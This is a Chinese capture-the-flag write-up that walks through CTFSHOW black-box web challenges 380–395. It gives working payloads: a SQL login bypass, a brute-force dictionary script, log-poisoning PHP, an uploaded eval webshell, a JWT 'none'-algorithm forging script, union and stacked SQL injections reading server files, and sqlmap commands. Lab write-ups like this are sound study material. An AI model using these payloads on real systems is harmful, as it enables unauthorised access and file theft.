CTFSHOW | 黑盒测试 web380 - web395

什么是黑盒测试

黑盒测试(Black-Box Testing)是一种软件测试方法,测试人员在完全不了解程序内部结构和源代码的情况下,对程序的功能进行测试。测试人员就像普通用户一样,只能通过程序的输入(如点击链接、在输入框中填写数据)来观察其输出,以此判断程序是否存在问题

黑盒测试一般思路

在进行黑盒测试时,通常会遵循一个系统性的流程,大致可以分为以下几个关键步骤:

1. 信息收集 (Reconnaissance)

这是所有测试的第一步,目的是尽可能多地了解目标,发现所有可能的攻击入口

  • 目录/文件扫描:使用工具扫描网站可能存在的隐藏目录和文件,如后台登录页面、功能性文件、源码备份等。
  • 前端代码分析:查看网页的HTML、CSS和JavaScript源码(浏览器F12或Ctrl+U),从中寻找隐藏的路径、注释、API接口等。
  • 技术栈识别:通过HTTP响应头、错误信息、网页页脚等判断网站使用的技术(如Apache、Nginx等),有助于我们选择更具针对性的测试方法。

2. 漏洞发现 (Vulnerability Analysis)

收集到足够的信息后,就可以对发现的各个功能点和入口点进行漏洞测试

  • 输入点测试:对所有用户可以输入数据的地方(如URL参数、搜索框、登录框)进行测试,寻找SQL注入、文件包含、命令执行等漏洞。
  • 认证与授权测试:测试登录认证机制是否可以被绕过或破解,例如使用万能密码、暴力破解、伪造JWT等。
  • 逻辑测试:测试应用程序的业务逻辑是否存在缺陷,例如密码重置功能是否可以被滥用、支付流程是否可以被绕过等。

3. 漏洞利用 (Exploitation)

在确认漏洞存在后,构造特定的Payload来利用这个漏洞,以达到我们的最终目的。在CTF中,这个目的通常是读取服务器上的flag文件。在真实的渗透测试中,目的可能是获取服务器的控制权或窃取敏感数据等

题目列表

web380

扫描网站目录,发现存在两个文件路径

其中第一个大小为0B,可以不用管,直接看第二个路径/page.php

显示打开$id.php失败,我们尝试能不能控制这个参数,输入/page.php?id=1

发现存在文件包含漏洞,直接输入/page.php?id=flag,查看源码得到flag

web381

打开网站,查看网页源代码,发现相比上一题,这里多了个可疑路径

为了更直观地看到区别,这里把上一题的网页源码放出来

我们访问路径/alsckdfy,成功得到flag

web382

打开网站,查看网页源代码,跟上一题一样

继续访问路径/alsckdfy,这次打开了一个登录框

尝试用万能密码,成功登录,账号1' or 1=1 #,密码随便写,成功得到flag

web383

跟上题步骤一样,也是先访问路径/alsckdfy,打开登录框后输入万能密码得到flag

web384

跟之前一样,来到登录框这里,这次题目有提示,告诉我们密码前2位是小写字母,后三位是数字,很明显是要爆破

因此我们抓取登录的包来尝试爆破,账号用admin,密码可以根据题目要求生成一个字典,python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string
import itertools

filename = "passwd.txt"

letters = string.ascii_lowercase # 小写字母 'abcdefghijklmnopqrstuvwxyz'
digits = string.digits # 数字 '0123456789'

with open(filename, 'w') as f:
for letter_pair in itertools.product(letters, repeat=2):
for digit_triplet in itertools.product(digits, repeat=3):
password = "".join(letter_pair) + "".join(digit_triplet)
f.write(password + '\n')

print(f"密码字典生成完毕,已保存到 {filename} 文件中。")

然后插入到密码处爆破即可,我这里用的yakit,如果是burpsuite同理

最后爆破出来密码是xy123,成功得到flag

web385

跟之前一样,来到登录框这里,但是这次万能密码不行,题目也没有提示,先尝试扫目录看看

发现有个路径/install,拼接进网站访问看看

然后访问/install/?install,发现成功将管理员密码重置为默认密码

因为不知道默认密码,因此我们尝试进行弱口令爆破

爆破得到密码为admin888,成功得到flag

web386

扫描目录

访问/install,但是这次显示lock.dat存在

这题相比上一题多了一个/clear.php,访问显示清理完成,我们尝试能不能控制它清理我们指定的文件,猜测参数可能为file,访问/clear.php?file=install/lock.dat,接着再次访问/install,发现lock.dat成功被删除

这时再访问/install/?install重置密码即可,其他步骤跟上题一样,密码依然是admin888,成功得到flag

web387

扫描目录

发现多了个/debug,访问看看

显示file not exist,猜测可以进行文件包含,输入/debug/?file=/etc/passwd

成功读取到文件,尝试进行日志包含执行命令,UA写入如下内容

1
<?php unlink('/var/www/html/install/lock.dat');?>

再次访问/install,发现成功删除lock.dat

其他步骤跟之前一样,密码依然是admin888,成功得到flag

web388

访问路径/debug,输入/debug/?file=/etc/passwd,但是这次回显方式不一样

由于暂时没有可用的方法,因此我们对后台登录页面进行目录扫描

由前几道题可知,flag就存放在/alsckdfy/check.php里面,但是我们现在暂时没有权限去访问

扫描结果中我们发现路径/alsckdfy/editor/,访问后看到是一个编辑器

存在文件上传页面,我们可以尝试上传一句话木马进去

但是这里对文件上传后缀有限制

我们把木马写好后改后缀为zip,上传文件

1
2
3
4
<?php
$a = '<?php eval($_POST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

复制路径,然后拼接到/debug/?file=/var/www/html后面

访问路径/1.php,发现成功写入webshell

执行命令tac alsckdfy/check.php得到flag

web389

访问路径/debug,这次显示权限不足

F12查看cookie,发现多了一个auth验证

网页解密jwt,发现是加密验证,用c-jwt-cracker爆破得到密钥为123456,然后把sub那里的user改为admin

将token复制到auth那里,刷新网页,成功绕过权限限制

剩下的步骤跟上题一样,最后得到flag为

web390

方法一(JWT伪造):

访问路径/debug,依旧是显示权限不足,但是这次密钥爆破不出来了,因此换个方法,把alg改为none,sub改为admin,然后重新编码token,如果后端没有对算法进行验证,那么就可以成功绕过了

用python脚本实现,记得要先用自己jwt解码的payload复制替换dict,然后更改user为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import jwt

# 把自己的payload复制替换dict,然后更改user为admin
dict = {
"iss": "admin",
"iat": 1753530361,
"exp": 1753537561,
"nbf": 1753530361,
"sub": "admin",
"jti": "2b4b35d9ec779539cc1d8c4c8b4659aa"
}

headers = {
"alg": "none",
"typ": "JWT"
}

jwt_token = jwt.encode(dict, key='',headers=headers, algorithm="none")

print(jwt_token)

得到token后复制替换网页中的cookie,成功绕过限制

剩下的步骤跟web388一样,成功得到flag

方法二(数字型注入):

在首页打开灯泡往事,发现有个id存在注入漏洞

输入单引号和双引号都没反应,经过测试,发现是数字型注入,输入page.php?id=-1 union select 1,2,3#,回显位置为2和3

接下来就是把alsckdfy/check.php的内容写到页面即可

1
page.php?id=-1 union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)#

然后查看网页源代码得到flag

web391

方法一(JWT伪造):

上一题的解法依旧能用,跟之前一样,也是先绕过权限写入日志

然后利用webshell读取flag

方法二(字符型注入):

在首页打开灯泡往事,发现多了一个标题输入框

经测试存在字符型注入,为单引号,且#被过滤,用-- -代替,回显位置为2和3

alsckdfy/check.php的内容写到页面

1
search.php?title=-1' union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)-- -

查看网页源码即可得到flag

web392

方法一(JWT伪造):

跟web390方法一样,不过这次flag位置改变了,不在alsckdfy/check.php里面

而是在根目录/flag里面

方法二(字符型注入):

跟上题方法一样,不过要读取的文件改成了根目录/flag

1
search.php?title=-1' union select 1,2,substr((select load_file('/flag')),1,255)-- -

web393

方法一(JWT伪造):

跟上题方法一样,flag也是在根目录

方法二(堆叠注入):

在首页最底下发现有个搜索引擎

点第一个百度,进去之后发现是百度的搜索页面

修改网页id值,又显示其他页面

因此可以判断这里存储的是网页链接,通过传入的id值查询数据库中的url并进行访问

同时测试发现/search.php?title=1存在堆叠注入,需要先获取数据库的表名和列名再利用,用sqlmap

获取数据库名

1
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET --dbs --batch

获取表名

1
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow --tables --batch

获取列名

1
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow -T link --columns --batch

接着利用堆叠注入插入数据

1
search.php?title=1';insert into link(id, name, url) values(11,'a','file:///flag');

最后访问/link.php?id=11即可

web394

方法一(JWT伪造):

跟web390方法一样,但是flag这次不在根目录/flag了,而是在网站目录的alsckdfy/check.php里面

方法二(堆叠注入):

跟上题方法一样,但是这次过滤了一些字符,用16进制绕过即可

记得在前面加个0x表示16进制

1
2
search.php?title=1';insert into link(id, name, url)
values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

最后访问/link.php?id=10即可

查看网页源代码

web395

方法一(JWT伪造):

解法跟上题一样

方法二(堆叠注入):

解法也是跟上题一样

参考

NaecoYes:https://blog.csdn.net/q20010619/article/details/120639310

作者

WayneJoon.H

发布于

2025-07-27

许可协议